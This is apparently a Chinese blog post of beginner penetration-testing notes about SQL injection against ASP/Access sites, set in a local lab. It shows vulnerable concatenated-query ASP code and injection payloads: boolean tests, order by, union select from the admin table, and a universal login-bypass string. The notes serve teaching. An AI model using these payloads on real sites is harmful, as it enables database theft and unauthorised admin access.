渗透测试1

搭建asp,php,aspx等脚本环境
软件包,集成包,iis,apache,tomcat uginx等环境区别
脚本,数据库种类
各类搭建组合具体分析
各类漏洞产生地方
学习第一个漏洞:sql注入
 
主要讲的是acess 注入

web http 默认端口80


www.baidu.com:80
www.baidu.com
 

问题:端口占用

静态 动态语言区别
html asp,php,aspx...

动态语言:服务端和客户端代码不一致
静态语言:服务端和客户端代码一致


phpstudy


脚本 asp php aspx jsp cgi war do py pl
数据库 access mysql mssql(sqlserver) oracle postsql db2

常见搭配
asp   access,mssql
php   mysql
aspx   mssql oracle
jsp     oracle mssql

iis6.0   windows2003
iis7.0 7.5    windows2008
apache   windows linux


怎么查搭建平台?
工具,第三方平台(站长工具)
怎么查操作系统?
组合,工具,ttl值


服务器
     操作系统
          web服务    
               网站组合(搭建平台
                         软件,iis等
                     数据库
                         access,mysql等,
                    脚本
                         asp,php等)

                    源码(自主开发,网上下载开源)


          ftp服务
          邮件服务
 
 
mysql数据库cmd命令格式  -u账号名 -p密码 -h网站地址

sql注入原理和形成过程:脚本代码和数据库
原理:接受相关参数未经处理直接带入数据库操作(能操作接受参数对页面产生影响)



    
http://127.0.0.1:81/0/0/Production/PRODUCT_DETAIL.asp?id=1513

网站地址:http://127.0.0.1:81/0/0/
文件目录:/Production/
网站文件:PRODUCT_DETAIL.asp
文件参数名:id
文件参数值:1513

数据库

id=request("id")  接受id参数传递过来的值并赋值给变量id
sql="select * from product where id="&id 定义sql语句 组合前面接受的变量值
set rs=conn.execute(sql) 执行sql语句

http://127.0.0.1:81/0/0/Production/PRODUCT_DETAIL.asp?id=1513

id=1513
select * from product where id=1513


http://127.0.0.1:81/0/0/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1

id=1513 and 1=1
select * from product where id=1513 and 1=1 返回真
select * from product where id=1513 and 1=222 返回假


select * from product where id=1513 union select 1,23,..... from admin



判断注入:
and 1=1   正确页面
and 1=211 错误页面

and 数学 逻辑运算符
或 且 非
or and xor
或:有真即真
且:有假即假

真或真
真且假


万能密码
'or'='or'

涉及方面:
1.是否接受参数
2.是否带入数据库查询


问题 那些可能产生注入

1.www.xxx.com/news.asp x
2.www.xxx.com/index.asp?page=111
3.www.xxx.com/index.asp?id=1&page=111
4.www.xxx.com/index/new/id/5 伪静态
5.www.xx.com/index/new/asp-5.html

伪静态

www.xxx.com/index.asp?id=1&page=111
id参数注入

www.xxx.com/index.asp?page=111&id=1 and 1=1


sql注入
asp+access注入


数据库注入
asp 注入
php 注入

access注入
mysql注入


判断注入
and 1=1 正确
and 1=x 错误

猜字段
order by xx

猜表名(联合查询)
union select 1,2,3,4,5.....22 from admin

access 暴力猜解注入




实验:
难题1:列名修改,找出列名,手工成功获取账号密码
难题2:手工修改代码保证成功登陆后台




后台登陆
     $xxname=$_GET['username']
     $xxname=$_GET['xxname']


posted @ 2016-09-15 23:22  0error(s)  阅读(387)  评论(0编辑  收藏  举报